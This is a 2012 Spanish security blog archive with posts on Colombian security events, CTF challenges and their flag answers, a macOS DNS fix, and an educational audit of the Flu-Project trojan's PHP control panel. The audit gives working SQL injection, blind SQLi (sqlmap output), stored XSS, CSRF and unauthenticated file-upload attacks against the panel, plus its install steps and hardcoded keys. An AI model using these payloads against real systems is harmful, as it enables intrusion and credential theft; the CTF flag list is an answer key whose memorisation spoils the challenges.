domingo, 2 de diciembre de 2012

Barcamp Security Edition v3.0 (BCSE 2012)


En Colombia se viene realizando un evento de seguridad de la información desde hace tres años, la última versión se realizó el pasado 1ro de Diciembre de 2012 en diferentes ciudades de la país.

A diferencia de otros eventos el Barcamp Security Edition es un evento descentralizado organizado por profesionales en seguridad y cuyo objetivo es reunir a la comunidad en torno a actividades que se realizan durante todo un día. Entre las actividades comunes se tienen charlas, talleres, concursos y retos informáticos orientados a todos los temas de seguridad de la información que por lo general tienen un impacto local (ciudad, departamento, país).

Básicamente lo que hemos logrado es que se realice el evento de forma simultanea en cada ciudad un día del año (mes de Diciembre), tal como ocurre con el FLISOL en el ámbito del software libre. De esta forma se promueve la cultura de la seguridad en todas las ciudades teniendo un impacto mayor que si centralizáramos el evento en alguna ciudad específica.

Obviamente esto tiene sus problemas de logística que se han ido solucionando años tras año.


La versión 3.0 del evento en la ciudad de Medellín se realizó en los auditorios de la Universidad Eafit y como novedad tuvimos un par de concursos diferentes gracias al apoyo de las empresas Dsteam y Kronux que se comprometieron con diferentes premios.

El concurso @warcamp que se hace anualmente tuvo 5 retos informáticos en diferentes categorías, el reto estuvo publicado durante 8 horas sin que alguien se proclamara como ganador, pues no se recibieron solucionarios para ninguno de los retos. (Recuerden que pueden apoyarse para los temas de retos informáticos en la lista de CTF Colombia).

Uno de los nuevos concursos fue un juego de ciberdefensa que se jugó en el intermedio de las charlas con 20 personas, en este concurso algunos simulaban ser whitehats y otros blackhats  y cada uno realizaba su jugada por turnos para obtener puntos. La ganadora recibió un lapicero espía ;)


El segundo concurso fue mas técnico y permitió la participación de jugadores a nivel nacional, consistió en vulnerar la seguridad de un portal web (joomla) y hacer un defacement. El reto estuvo activo durante 5 horas y si bien se recibieron una tonelada de ataques no hubo ganador. El "truco" para resolver el reto era saltarse el sistema WAF que estaba delante del portal. Lo que se pudo observar de la mayoría de los ataques es que fueron automatizados usando herramientas de "pentesting" que no siempre lograrán el objetivo. El premio para el ganador de este reto era un servidor y al no tener uno, la empresa patrocinadora decidió sortearlo entre las personas que estaban inscritos y asistieron al BCSE en cualquiera de las ciudades.

En fin, el evento estuvo bueno y cada vez toma mas fuerza, este año se realizó en las ciudades de Barranquilla, Bogotá, Cali, Cartagena, Ibague, Popayán, Neiva y Medellín. Esperamos que para la próxima versión mas ciudades se unan y podamos mantener lo que hasta ahora se considera el evento descentralizado mas grande de seguridad de la información organizado por la comunidad colombiana.

Por último quiero darle un agradecimiento a todas las empresas de Medellín que siguen creyendo que apoyar este tipo de eventos ayuda a mejorar el ecosistema de seguridad, Defero, Kronux, Adcosy, DSteam y en general a todo el listado de patrocinadores que se encuentra en el sitio oficial del evento.

Un agradecimiento también para todos los desconferencistas y organizadores del BCSE a nivel nacional y en especial para los de Medellín que este año trabajamos como un gran equipo y aunque parezca que siempre somos los mismos haciendo las cosas, año a año son muchos los que se suman al esfuerzo de difundir y aportarle a los temas comunidad. 

Algunas FOTOS aquí.

viernes, 9 de noviembre de 2012

MINI RETO #4 XOR IT



Este reto esta dedicado a todos aquellos que consideren que ganarse una entrada con un sorteo no es meritorio y prefieren hacer un poco mas de esfuerzo ;)

La primera persona que envíe la respuesta correcta al correo fernando.a.quintero AT gmail.com acompañada de un corto resumen explicando como logró solucionarlo se ganará una entrada* para el evento Security Zone que se realizará el 6 y 7 de Diciembre de 2012 en la ciudad de Cali, Colombia.


Muchas veces un XOR es solo el inicio, no pierdas la cabeza con este reto.

Bienvenido al mini reto #4 : XOR IT!

*Gastos adicionales como transporte, alimentación, alojamiento, cerveza, talleres, etc. NO están incluidos.

Buena suerte.

UPDATE:


Durante el reto recibí muchas consultas relacionadas sobre el procedimiento para solucionar el reto, la mayoría de las personas estaban bien encaminadas sin embargo se perdían en algunos detalles.


Aqui les dejo algunas soluciones propuestas:


Juan Esteban Valencia: http://www.sendspace.com/file/yrrd7n


rmolina.co     : http://pastebin.com/mJn13eLE

Como siempre hay varias formas de resolver los retos, un procedimiento de ejemplo es el siguiente:

1. El archivo descargado parece simplemente DATA, si tenemos las pistas (xor) de que es posiblemente un PDF entonces con un "strings" podemos tener pistas para encontrar un byte ("s") repetitivo con el que se hace el xor. En las respuestas publicadas hay varias formas de acercarse a este valor. 

Herramientas útiles:

xor:


xorsearch:


2. El obtener el PDF es solo la primera parte, lo que sigue es abrirlo y tratar de entender de que se trata, el contenido del PDF sirve como pista también. A la mayoría de las personas se les ocurrió buscar el nombre en Internet y efectivamente van a encontrar el PDF original. Cuando los comparen se darán cuenta de que no son iguales. Puede compararlos con: 

vbindiff:


Se pueden ver en rojo los bytes que no son iguales en el archivo entregado para el reto.

3. Conociendo los bytes diferentes los extraigo y los pongo en un archivo diferente, en total serán 256 bytes. Esto se hace con un script en el lenguaje que mas les guste.

4. El paso difícil aqui es entender que hacer con los 256 bytes, pero la pista que se dio apunta a que se trata de un shellcode, para Linux de 64 bits. El shellcode se puede convertir en un binario, la mas fácil es usar un stub que funcione para 64 bits (ojo, no todos los stubs funcionaran y menos los tradicionales). Aqui pueden encontrar algunos:


5. Lo siguiente es analizar el shellcode anterior, el binario generado o ejecutar el binario y analizar su comportamiento (ojo, en algunos casos puede ser realmente maligno :P , se asume que están en un entorno de pruebas o están haciendo un análisis estatico). Con un simple "strings" al binario, con un análisis del shellcode o después de ejecutar el binario encontraran este string:

"|h.l$.L.d$.H..l.%...L.l$.L.t$.l.|$.h.\\\\$.h..a..i..h...i..|.H..T.1...@.l..L..D..a...H.H9.R.H.\\\\$.H.L$|h.L$.l.d$.h..L.%...l.l$.L.t$.l.|$.h.\\\\$.h..a..I..h...I..|.h..T.1...@.l..L..d..A...H.h9.R.h.\\\\$.H.L$|h.l$.l.d$.H..l.%...l.l$.L"

Este string esta fabricado a proposito pues es un string generico en muchos binarios de Linux, así que bien podría ser una pista o ser algo mas. La mayoría de los concursantes llegaron hasta aquí y falto solo un paso como se dijo en los tuits de ayuda.

El ultimo paso era usar este string en el software de horrografia de @hecky :


Dando como resultado la flag ganadora: secxone  ;)

Gracias a todos por jugar!


lunes, 5 de noviembre de 2012

Network Forensics en el SecZone



CONCURSO NETWORK FORENSICS




Si quieres ir al 2º Congreso de Seguridad Informática Security-Zone, aquí está tu oportunidad de conseguir una entrada. 


Escribe un artículo/post introductorio sobre el tema de Network Forensics, comparte la URL de tu artículo en twitter agregando un cc @nonroot , el tuit debe incluir la siguiente frase del concurso: "quiero ir al @SecZone, #Network #Forensics es mi entrada".


Se recibirán artículos hasta el Martes 13 de noviembre a las 23:59 (GMT -5) y el anuncio del ganador de la entrada* al evento se hará el Viernes 16 de noviembre a las 23:59 (GMT -5), el ganador será el autor del mejor articulo publicado. 

Las métricas para la evaluación son:
  • El mas preciso
  • El mas bonito
  • El mejor redactado
En conclusión:  el mas chévere :P

El anuncio se hará por la cuenta @nonroot 

Aclaración:

* La entrada que se entrega es para el evento Security Zone, los días 6 y 7 de Diciembre en la ciudad de Cali, Colombia. Gastos adicionales como transporte, alimentación, alojamiento, cerveza, talleres, etc. NO están incluidos.

Nos vemos en Cali!

miércoles, 31 de octubre de 2012

MISCONF v1.0 CLOSED


The challenge has been closed, but you can still play ...


#
# FLAGS para MISCONF v1.0 (Entorno de entrenamiento hacking en español)
#
# El instructivo del juego se puede bajar de: 
# http://www.sendspace.com/file/9b7c4n (MISCONFv1.pdf)
#

FLAG1:BH-7AA-F00-JB (flag.txt)
FLAG2:OT-RAF-LAG-DD (.htaccess)
FLAG3:87A134E04A6A + 9A515643D879 = 121F28B2422E3 (DUMP)
FLAG4:89-ZZZ-A09-BV  (flag)
FLAG5:93-67X-FTP-9V (banner)
FLAG6:am0__los_CODIFICADORES_0nlin3 (raro)
FLAG7:YH-K9K-LLL-8A (test.php)
FLAG8:GB-WEB-2XD-02 (test3.php)
FLAG9:A_SIMPLE_DESIGN_BUG_XD (solve the challenge)
FLAG10:8U-PLZ-J7A-63 (sysContact)
FLAG11:6H-7AA-F32-AB (en el data)
FLAG12:crypto|stego (visual crypto)
FLAG13:UU-DNS-9OA-NZ (registro TXT)
FLAG14:TT-XXX-PLA-MX (registro MX)
FLAG15:Toy_OFuscaita() (basic reversing)
FLAG16:VO-IPA-STE-XX (sendtext antes de los tonos)
FLAG17:50-600-VOI-PP (sendtext despues de los tonos)
FLAG18:¿Conoces_el_Pr0y3ct0:http://busy-tone.org/?(demo echo)
FLAG19:HE-IPV-6XD-OO  (correo1)
FLAG20:DO-VEC-OTT-TT (banner)
FLAG21:OpenBSD Rulx (correo2, binario openbsd)
FLAG22:P1-4P0-C0C-0D (banner)
FLAG23:9T-UNI-XRU-LX (README)
FLAG24:ESTAFLAGESCOMORARAPEROESLAFLAGCORRECTA (piapoco)
FLAG25:OO-SVN-CVS-OO (commit inicial)
FLAG26:UN-AFL-AGM-AS (commit 47)
FLAG27:SUN TZU (reto .cap)
FLAG28:FE-RON-744-XD (coordenadas)
FLAG29:ES-TEG-ANO-:P (clave de la imagen estegano : cerdo)
FLAG30:e7a1ab1fa73e310a30d43633c5528404

Resultado final después de 2 meses de juego, GRACIAS a todos por participar !
Fig 1. Ranking final
Fig 2. Top 10
Fig 3. Top 33 de jugadores

Todos los que quieran jugar/practicar pueden descargar el siguiente material donde encontrarán pistas:

La maquina virtual : MISCONFv1.0.tgz
El instructivo de juego : MISCONFv1.0.pdf
Las banderas (respuestas) que debes encontrar : FLAGS.txt

Happy Hacking!


martes, 16 de octubre de 2012

Solución al Reto 16 - Un crackme cualquiera


Hace unos días Vicente, líder del proyecto hackplayers abrió un reto relacionado con ingeniería inversa.

Para los que quieran aprender un poco sobre los procedimientos usados en la solución del crackme, les recomiendo leer la introducción y descargarse el crackme desde:

http://www.hackplayers.com/2012/09/reto-16-otro-crackme-cualquiera.html

Y leer el procedimiento paso a paso para solucionarlo en:

http://www.hackplayers.com/2012/10/solucion-al-reto-16-de-otro-crackme.html

Cualquier duda adicional que tengan pueden usar el sistema de comentarios.

PD: Que tal si alguien se hace un dumpeador automático de todos los archivos que tenga el .exe empaquetados?, algo como: http://exe2perl.danuk.ru/ pero que funcione para las nuevas versiones.

¿Alguien se anima?

Saludos!

EKOPARTY 2012 (IN X0R WE TRUST)


Este año tuve la oportunidad de asistir  a la que se considera  la conferencia de seguridad informática mas grande de todo Latinoamérica. La Electronic Knock Out Party o simplemente La EKO ;)

 

Este evento se realiza durante toda una semana en la ciudad de Buenos Aires (AR) y después de asistir a los trainings, ver la calidad de los speakers y participar de las actividades que hacen parte del evento  (retos, concursos, talleres de lockpicking, wardriving, desafio coreX, etc), no me queda mas que reconfirmarlo!, la eko es el mejor evento de seguridad informática en Latinoamérica*.

                            
                                  

* Por lo menos al que haya asistido ;)

Hay unos excelentes posts con información relacionada sobre el evento los cuales recomiendo leer para entender un poco mas de que se trata todo esto:

http://www.securitybydefault.com/2012/09/mi-experiencia-personal-en-ekoparty.html

http://www.securitybydefault.com/2012/09/ekoparty-2012-cronica-del-dia-1.html

http://www.securitybydefault.com/2012/09/ekoparty-2012-cronica-del-dia-2.html

Otra entrada con algunas demostraciones en video:

http://spamloco.net/2012/09/resumen-de-la-ekoparty-2012-fotos-y-videos-de-algunas-demos.html

#JMP CTF

                      
                      

Por otro lado este año junto con @ftbfs nos encargamos de diseñar el CTF para el evento, el cual estuvo bastante concurrido con un total de 150 inscritos y un promedio de 90 jugadores activos distribuidos en diferentes equipos. Algo muy interesante en esta competición en sitio es que jugaron equipos de diferentes paises de Suramerica: Brasil, Uruguay, Chile, Argentina, Perú y Colombia.
                 
                     

Ya que muchos me han preguntado por los retos del CTF de la Eko, voy a tratar de organizar la plataforma para liberarla y que puedan practicar libremente, mientras tanto para los que quieran ver el reto Pre-CTF lo pueden descargar desde el sitio oficial:
http://blog.ekoparty.org/2012/09/ekoparty-pre-ctf-wargame.html

                      
                      

Felicitamos al ganador del CTF --> mj , que con 13/30 banderas se llevó un premio equivalente a 5M de pesos colombianos (el mejor premio que he visto para un CTF latinoamericano).
                                       

Felicitamos también a los amigos brasileros de "Coca Cuela" que estuvieron muy cerca del primer lugar, a los amigos de LimaHack que se sentaron a jugar un rato en el tiempo que tuvieron libre, a los amigos OpenBSDeros que quedaron en 3er lugar y en general a todos los competidores que trabajaron muy duro durante los dos días de competencia. Un gusto conocerlos a todos !

#JMP GOODBOY

Les mentí, la verdad es que la principal motivación para ir a la EKO es ...

Comer Pizza, Carne, tomar Quilmex y reirse con todos los amigos :P



                                                                            


Salud!

NO puedo cerrar esta entrada sin agradecerle a toda la organización de la Ekoparty por el trabajo impecable que realizan en cada edición, en especial a Leo, Jero, Juan y Federico por estar pendientes de  que todo funcionara como tenía que funcionar, un abrazo!

FIN.

miércoles, 29 de agosto de 2012

Entorno de entenamiento MISCONF v1.1

Quiero compartirles la disponibilidad de un entorno de entrenamiento en español para aprender a jugar retos informáticos.

El entornos consiste de dos partes:

A) Una maquina virtual, lista para importar (ovf) en VirtualBox (Win, Lin, Mac) : http://www.misconf.net/

B) Una scoreboard donde se pueden marcar los puntos encontrados:

El entrenamiento consiste en encontrar código válidos en los servicios de red (dns, http, mail, etc) mal configurados y resolver 10 retos relacionados con forense, criptografia, esteganografia, ingeniería inversa, seguridad web, etc.

Para socializar los hallazgos se ha creado un wiki donde se pueden compartir los procedimientos realizados:
Antes de empezar a jugar, por favor lea el documento informativo:
http://ctf.misconf.net/MISCONFv1.pdf

Enjoy!

viernes, 6 de julio de 2012

Misconfiguration CTF (#CPCO05 - 2012)

Este es el 3er año que participo diseñando retos de seguridad para el evento Campus Party Colombia (#CPCO05), para este año decidí crear un escenario nuevo teniendo como base los retos de seguridad informática tradicionales, pero agregando un factor diferenciador al no dar ni los retos, ni las pistas directamente.

El nombre del reto es Misconfiguration CTF (MISCONF - www.misconf.net -), la introducción al reto la pueden ver en el video grabado del evento, donde también se explican las reglas de juego y las recomendaciones (reglas opcionales).

En pocas palabras MISCONF presenta un escenario donde existen problemas de configuración, ya sea por negligencia, seguridad por oscuridad o simples errores humanos, para esto se (des)configuran diferentes servicios de red (web, correo, ftp, svn, etc) que están funcionando en puertos no estándares y que a su vez son los primeros lugares donde se extraen las banderas (códigos) que se pueden capturar en la plataforma web diseñada para este fin. Una vez identificados estos servicios mal configurados, se encuentran retos informáticos con niveles de dificultad básicos e intermedios, algunos de ellos relacionados con criptografía, reversing, web, esteganografia y networking.

Toda la información sobre el reto y como jugarlo la pueden encontrar en el pdf que se encuentra aquí.

El TOP 10 de los jugadores después de 3 días de juego se puede observar a continuación:


Oficialmente NO hubo un ganador para el reto MISCONF, ya que el objetivo era encontrar 30 banderas en el sistema objetivo y esto no lo logró ninguno de los jugadores, por este hecho se decidió evaluar los solucionarios enviados y calificar la calidad de los mismos, lo que dio como ganadores a los siguientes competidores:

(1) Yesid Gonzalez (@TrackerID) - Ganador de un Ultrabook Lenovo - Descargar solucionario
(2) Fernando Muñoz (acomodado) - Ganador de un D.D SSD de 240GB - Descargar solucionario

La tabla final de puntuación fue:


Hay que mencionar que ninguno de los solucionarios entregados cumplió con las expectativas del jurado, sin embargo como la idea de un evento como #CPCO05 siempre es entregar los premios, se valoró el esfuerzo de los competidores y se calificó en una escala de 1 a 10 la calidad de los informes. 

Con esto queda clara la importancia de hacer el esfuerzo en entregar solucionarios completos, donde se explique correctamente los procedimientos para resolver los retos y no simplemente se entregue la respuesta. De esta forma los participantes que no lograron solucionar los retos pueden aprender como hacerlo.

El jugador acomodado solicitó una explicación pública del porque se penalizaron los 6 puntos por no sustentar adecuadamente las banderas encontradas, el documento con la explicación se puede descargar desde aqui. Allí se puede leer claramente que no hay una explicación del procedimiento realizado para encontrar las banderas penalizadas.

Para finalizar quiero contarles, algunas estadísticas básicas del juego MISCONF:

El juego estuvo habilitado durante 3d+6.5h, en total fueron 2 servidores principales (ScoreBoard y Target) y dos servidores de respaldo que tuvieron un tráfico total  de 10GB in/out  y un total de 205 usuarios registrados, aunque la participación  activa fue de 100 usuarios. 

El ranking final de los usuarios que capturaron por lo menos una bandera se encuentra aqui.

Todo el TimeLine del juego lo pueden encontrar en la cuenta de twitter @misconf


IMHO, hay que recordar que el objetivo primordial de implementar un CTF dentro de un evento como Campus Party es aprender, construir y compartir conocimiento, tanto para las personas que diseñan los juegos, como para aquellos que los resuelven, en este sentido, considero que el objetivo se logró.

Esperemos que con el tiempo los participantes de este tipo de actividades puedan aprovechar estos espacios para dejar de un lado el mundo virtual y compartir realmente con las personas en 3D  y por ahí derecho dejar de sentir que el objetivo del JUEGO es solo obtener los premios.

Quiero dar un agradecimiento especial a los organizadores del área de seguridad en redes, por la calidad de los ponentes seleccionados, la organización en general de los espacios, los premios y por permitirme una vez mas participar con el diseño  de esta actividad.

Y quiero darle un gran saludo a los mas de 100 jugadores que se trasnocharon y se divirtieron solucionando las diferentes pruebas, no importa si solo lograron capturar una bandera, lo importante es aprender del proceso. Como les mencioné a algunos, intentaré sacar la versión en maquina virtual del TARGET, para que los que no alcanzaron a jugar se puedan desquitar ;)

Hasta la próxima.

martes, 22 de mayo de 2012

mDNSReporter error (MacOSX SnowLeopard 10.6.8)

10 days aggggrrrrrr.......

PROBLEM:

[Hax0r@HOST] LaunchDaemons $ ping www.google.com
... (I hate You For Ever)

[Hax0r@HOST] LaunchDaemons $ host www.google.com
www.google.com is an alias for www.l.google.com.
www.l.google.com has address 190.248.1.212
... (Ok)

In /var/log/system.log:

May 23 00:55:13 na mDNSResponder[1426]: Administratively prohibiting multicast advertisements
May 23 00:55:13 na mDNSResponder[1426]: SCPreferencesCreate failed: Permission denied
May 23 00:55:13 na mDNSResponder[1426]: WatchForInternetSharingChanges failed -65539
May 23 00:55:13 na mDNSResponder[1426]: Daemon start: mDNS_Init failed -65539
May 23 00:55:13 na mDNSResponder[1426]: Daemon start: mDNSDaemonInitialize failed
May 23 00:55:13 na com.apple.launchd[1] (com.apple.mDNSResponder[1426]): Exited with exit code: 253
May 23 00:55:13 na com.apple.launchd[1] (com.apple.mDNSResponder): Throttling respawn: Will start in 10 seconds

FIX:

(If you need the exactly .plist version go to http://www.opensource.apple.com/source/mDNSResponder/ , mine is mDNSResponder-258.21 from /var/log/system.log)

[Hax0r@HOST] LaunchDaemons $ pwd
/System/Library/LaunchDaemons
[Hax0r@HOST] LaunchDaemons $ ls -l | grep -i mDNS
-rw-r--r--  1 root  wheel   943 May 23 00:45 com.apple.mDNSResponder.plist
-rw-r--r--  1 root  wheel   543 May 22 23:13 com.apple.mDNSResponderHelper.plist
[Hax0r@HOST] LaunchDaemons $

[Hax0r@HOST] LaunchDaemons $ chmod -R 755 /Library/Preferences/SystemConfiguration
[Hax0r@HOST] LaunchDaemons $ launchctl unload -w com.apple.mDNSResponder.plist
[Hax0r@HOST] LaunchDaemons $ launchctl load -w com.apple.mDNSResponder.plist

In /var/log/system.log:

May 23 01:02:01 na mDNSResponder[1442]: mDNSResponder mDNSResponder-258.21 (May 26 2011 14:40:13) stopping
May 23 01:02:07 na mDNSResponder[1592]: mDNSResponder mDNSResponder-258.21 (May 26 2011 14:40:13) starting
May 23 01:02:07 na mDNSResponder[1592]: Administratively prohibiting multicast advertisements

[Hax0r@HOST] LaunchDaemons $ ping www.google.com
PING www.l.google.com (190.248.1.173): 56 data bytes
64 bytes from 190.248.1.173: icmp_seq=0 ttl=58 time=11.807 ms
...

:)


Thanx for the Hint @tinpardo

jueves, 26 de abril de 2012

miércoles, 25 de abril de 2012

Aprendiendo sobre vulnerabilidades WEB con el Flu-Project


Esta entrada esta realizada mientras paso por una etapa de Flu, así que no se me ocurrió un mejor titulo.

Mientras tiritaba de frío en mi cama, decidí buscar en Internet sobre lo que me estaba ocurriendo, pronto empecé a entender que mis síntomas se relacionaban ampliamente con los del Flu. Así fue como me fui contagiando de este interesante proyecto.

Las motivaciones que tengo para  escribir esta entrada son las siguientes:
  • Explicar de forma práctica el tema de vulnerabilidades Web en el instituto donde enseño actualmente.
  • Motivar al lector a que piense desde diferentes puntos de vista, no siempre desde el ofensivo.
  • Hacerle publicidad al excelente proyecto colaborativo [Flu] de  Flu-Project.

Antes de explicar los fallos, debemos empezar por lo básico, ¿Qué es el  Flu?, y como no quiero decir mentiras, les dejo el enlace oficial donde se da la claridad sobre el proyecto: http://www.flu-project.com/sobre-flu

En resumen el Flu es un troyano que nos permite tener control sobre maquinas Windows y administrarlas desde un panel web creado con el lenguaje PHP, pero quizas lo mas interesante del proyecto es que es abierto y participativo, de esta forma las personas pueden ir agregando ideas para el desarrollo del mismo y al mismo tiempo ir creando contramedidas y experimentando con botnets de forma académica.

Nota: Ninguna BotNet sufrió o fue realmente lastimada durante la escritura de esta entrada. ;)

EMPEZAMOS POR LA INSTALACIÓN

La instalación del panel de control que actúa como cliente se hace de una forma rápida sobre cualquier entorno web que soporte MySQL y PHP, al panel de control lo llamamos cliente porque el funcionamiento de este esquema de troyano es como el del protocolo SNMP, esto significa que tenemos agentes (el troyano Flu) instalados en las estaciones Windows y un NMS (el panel web) que permite hacer las consultas a dichos agentes, en este contexto las consultas no son a una MIB, son peticiones de ejecución de comandos a la consola de los sistemas operativos que tienen los agentes.

Así que para instalarlo hacemos lo siguiente:

1) Descargamos la última versión de Flu:

PanelFlu# wget http://flu-project.googlecode.com/files/flu0.5.1b.rar
--2012-04-25 23:21:04--  http://flu-project.googlecode.com/files/flu0.5.1b.rar
Resolving flu-project.googlecode.com... 72.14.204.82
Connecting to flu-project.googlecode.com|72.14.204.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2893086 (2.8M) [application/x-rar]
Saving to: “flu0.5.1b.rar”

100%[===================================================================================================================================>] 2,893,086   5.12M/s   in 0.5s  

2012-04-25 23:21:07 (5.12 MB/s) - “flu0.5.1b.rar” saved [2893086/2893086]

PanelFlu# 

2) Desempaquetamos

PanelFlu# unrar x flu0.5.1b.rar 

UNRAR 3.70 beta 4 freeware      Copyright (c) 1993-2007 Alexander Roshal
Extracting from flu0.5.1b.rar
Creating    Servidor web                                              OK
Extracting  Servidor web/actualizarEstadoMaquina.php                  OK
Extracting  Servidor web/cerrar-conexion-bbdd.php                     OK
Extracting  Servidor web/conexion-bbdd.php                            OK
Extracting  Servidor web/configurar-ataque.php                        OK

...

3) Movemos el contenido web a donde queremos tenerlo (la raiz web)


4) Creamos la base de datos


Por omisión la base de datos se llamará flubbdd.
El usuario para entrar al sistema es admin y la contraseña 1234.


Una vez adentro encontramos los paneles de administración.



Para realizar las pruebas básicas podemos influenciar al Administrador de un equipo Windows para que ejecute el Flu.

AHORA SÍ, 

A lo que vinimos, a aprender seguridad web con el Flu!

El punto que quiero poner a consideración es el enfoque que tenemos como usuarios en un momento dado. El Flu es una herramienta académica (sus forks quizás no) y cuando la estamos usando es porque queremos practicar nuestra mentalidad ofensiva, pero incluso en ese momento deberíamos de verificar que nuestras herramientas ofensivas no puedan ser vulneradas. 

Hay casos reales donde Botnets han caído porque han fallado sus sistemas, han roto los sistemas de cifrado o de acceso a los paneles de administración, se imaginan a un Hyper BotNet Master  capturado porque su propia herramienta es vulnerable?, casos se han visto ...

El paralelo de las vulnerabilidades va contra el DVWA que es una herramienta para aprender bastante conocida ;)

A)  BRUTEFORCE

Es posible hacer ataques de fuerza bruta contra el panel de administración del Flu, en ninguna parte del código aparece un mecanismo de defensa, aunque el mismo podría estar en otra capa (UTM, WAF, etc).

El problema lo encontramos en el archivo login.php

B)  ATAQUE XSS (REFLECTED)


En este tipo de ataques el usuario ingresa algo y el sistema se lo devuelve, si el usuario ingresa código HTML/Javascript el sistema lo devuelve y el browser del usuario lo ejecuta, ustedes ya conocen la teoria. Donde puede existir una vulnerabilidad?


http://host/consola.php?maquina=XXXXXX__000C29834EED

Inyectamos el XSS en la consola de comandos.


El error se encuentra en el archivo consola.php


C) ATAQUE XSS (STORED)

**(no requiere estar logueado en el panel)

Este ataque es mas interesante puesto que el ataque XSS quedará almacenado en el panel del Flu y cuando el administrador lo use ejecutará una y otra vez el script que diseñemos. La forma de explotar la vulnerabilidad es reportar una nueva máquina ante el panel. ¿Cómo sabe el panel que la nueva maquina supuestamente infectada es real?, ¿Que mecanismo de protección usa?

Lo hacemos haciendo una petición HTTP así:

http://23.23.223.210/actualizarEstadoMaquina.php?m=MAQUINA_IMAGINARIA&s=5.1

En la variable m, podemos inyectar el XSS y observamos como aparece en nuestro panel.


El error esta en que no hay una forma de validar si la maquina nueva es real o no y textualmente leemos en el código:


"//Si no existe, creamos una nueva tabla con su IP, donde almacenaremos los comandos lanzados con sus respuestas. Y a�adiremos una nueva entrada
//en la tabla t_maquinas donde se encuentra el listado de todas las m�quinas infectadas por Flu"

Así que el panel creará una nueva tabla por cada petición que hagamos, como esta información debe ser recuperada para mostrarla en el panel principal, podemos hacer un XSS que se almacene, recuerden entre mas silencioso, mejor XD



El problema lo encontramos en el archivo actualizarEstadoMaquina.php 


D) SQL INJECTION

(requiere estar logueado en el panel o hacer un CSRF, XSS ;)


Ejemplo 1. 
Podemos intentar obtener los usuarios y claves de la base de datos del panel Flu, haciendo un SQLi así:

http://23.23.223.210/verInformacion.php?maquina=190.69.1.42__MAQUINA_IMAGINARIA%20WHERE%201%20UNION%20SELECT%20user,password%20from%20t_usuarios


El problema en este caso se puede ver en algunas variables a las que no se les ha puesto comillas simples, otras en cambio si las tienen.


Ejemplo 2. 
En el visor de imagenes:

http://23.23.223.210/verImagenes.php?maquina=XXX.XX.XX.XX__MAQUINA_IMAGINARIA%20WHERE%200%20UNION%20SELECT%201,concat(user,0x3A,password)%20from%20t_usuarios%20--

Hacemos click derecho sobre la sombra de la imagen y la guardamos con cualquier nombre, cuando la abramos con un editor de texto o la visualicemos en la consola, podremos ver algo así:

bash-3.2# cat verImagenes.jpeg 
admin:1234
bash-3.2# 

Lo interesante en este segundo ejemplo es que no es necesario estar logueado en el panel de administración.

E) SQL INJECTION BLIND

Como ejemplo podemos usar el mismo archivo verImagenes.php, con el parámetro id:

http://23.23.223.210/verImagenes.php?maquina=MAQUINA_IMAGINARIA&id=[sqib]

En este caso el ataque solo funciona si tenemos por lo menos un pantallazo de la maquina objetivo (para poder identificar el TRUE/FALSE). Intentemos obtener los usuarios del sistema MySQL donde esta el panel Flu.

bash-3.2# python sqlmap.py -u "http://23.23.223.210/verImagenes.php?maquina=200.32.0.1__003cF2F85098&id=1" -p id --users

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 20:01:21

[20:01:22] [INFO] using '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210/session' as session file
[20:01:22] [INFO] resuming injection data from session file
[20:01:22] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[20:01:22] [INFO] testing connection to the target url
[20:01:23] [WARNING] the testable parameter 'id' you provided is not into the Cookie
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND 4499=4499
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,112,104,102,58),IFNULL(CAST(CHAR(66,66,99,75,115,88,102,88,118,67) AS CHAR),CHAR(32)),CHAR(58,98,122,105,58))#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND SLEEP(5)
---

[20:01:23] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0.11
[20:01:23] [INFO] fetching database users
database management system users [5]:
[*] ''@'domU-12-31-39-09-30-5F'
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'domU-12-31-39-09-30-5F'
[*] 'root'@'localhost'

[20:01:23] [INFO] Fetched data logged to text files under '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210'

[*] shutting down at: 20:91:23

F) CSRF

Podemos decir que todas las acciones que ejecute el administrador del panel no requieren verificación ni comprobación por lo que será muy fácil explotar CSRF en el panel.

Un ejemplo es el siguiente donde podemos agregar comandos a la BotNet sin que el administrador se entere, usando el archivo saveCommands.php y la variable commands.


G) UPLOAD FILE (de forma arbitraría)

**(no requiere estar logueado en el panel)

Esta vulnerabilidad permite subir el archivo que queramos al sistema donde esta instalado el panel Flu.


Como ejemplo creamos un archivo y lo convertimos a base64:

bash-3.2# nano test.php
bash-3.2# cat test.php 

bash-3.2# openssl base64 -in test.php -out test.php2
bash-3.2# cat test.php2
PD9waHAKCnBocGluZm8oKTsKCj8+Cg==
bash-3.2#

Creamos el HTML para enviar POST:


bash-3.2# cat flupload.html

bash-3.2#


Luego enviamos el form y listo, tendremos un archivo .php dentro del sistema (own the BotNet?).


La vulnerabilidad en este caso se encuentra en el archivo RecibirArchivo.php por dos motivos:

1. No valida que tengamos una sesión abierta, porque entonces una maquina nueva con el Flu no podría conectarse y enviar la información. Ups!

2. No hay comprobación de las variables nombre y formato.


H) OTROS

Otros aspectos que se pueden tener en cuenta para el futuro desarrollo del panel Flu son:

** Almacenamiento inseguro de los datos:

Las claves están almacenadas en texto plano en la base de datos MySQL.

** Claves por omisión:


En el archivo RecibirDatosVictima.php, encontramos:
$key = "qwertyuioplkjhgf";
$iv = "qwertyuioplkjhgf";


Son los valores usados para cifrar los datos enviados por el Flu, sería interesante que el usuario los pudiera definir desde el panel de administración.


CONCLUSIONES


Si estas actuando en modo ofensivo no pierdas el foco en la seguridad.


Si puedes colaborarle al proyecto Flu desarrollando y aportando ideas, en poco tiempo tendremos un software estable, lleno de características con las que todos podemos seguir aprendiendo.


